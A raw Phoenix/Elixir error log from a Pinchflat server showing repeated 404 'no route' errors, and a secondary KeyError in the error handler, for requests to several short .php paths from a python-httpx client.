"accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 145, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /t (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/t.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 145, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12445.0>, params: %{}, path_info: ["t"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/t.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1XJxUGdODHIAAKTB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb. (truncated) 14:08:17.578 [info] GET /p.php 14:08:17.579 [debug] QUERY OK source="settings" db=0.4ms idle=892.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:17.580 [debug] QUERY OK source="settings" db=0.6ms idle=892.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:17.581 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:17.582 [error] #PID<0.12446.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 146) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /p.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /p (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/p.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 146, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12446.0>, params: %{}, path_info: ["p"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/p.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1Y3Vxrx4pP4AAKTR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/p.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 146, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /p (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/p.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 146, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12446.0>, params: %{}, path_info: ["p"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/p.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1Y3Vxrx4pP4AAKTR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb. (truncated) 14:08:18.481 [info] GET /3.php 14:08:18.483 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=901.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:18.484 [debug] QUERY OK source="settings" db=1.0ms idle=355.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:18.485 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:18.487 [error] #PID<0.12447.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 147) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /3.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /3 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/3.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 147, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12447.0>, params: %{}, path_info: ["3"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/3.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1cOqxE_IGO4AAKTh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/3.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 147, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /3 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/3.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 147, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12447.0>, params: %{}, path_info: ["3"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/3.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1cOqxE_IGO4AAKTh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb. (truncated) 14:08:19.051 [info] GET /2.php 14:08:19.052 [debug] QUERY OK source="settings" db=0.4ms idle=923.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:19.053 [debug] QUERY OK source="settings" db=0.7ms idle=924.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:19.054 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:19.054 [error] #PID<0.12448.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 148) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /2.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /2 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/2.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 148, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12448.0>, params: %{}, path_info: ["2"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/2.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1eWhn2rK42YAAKTx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/2.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 148, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /2 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/2.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 148, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12448.0>, params: %{}, path_info: ["2"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/2.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1eWhn2rK42YAAKTx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb. (truncated) 14:08:19.934 [info] GET /1.php 14:08:19.936 [debug] QUERY OK source="settings" db=1.2ms queue=0.1ms idle=1452.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:19.937 [debug] QUERY OK source="settings" db=0.4ms idle=1452.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:19.938 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:19.938 [error] #PID<0.12449.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 149) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /1.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /1 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/1.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 149, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12449.0>, params: %{}, path_info: ["1"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/1.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1hpI3aJskEcAAKUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/1.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => 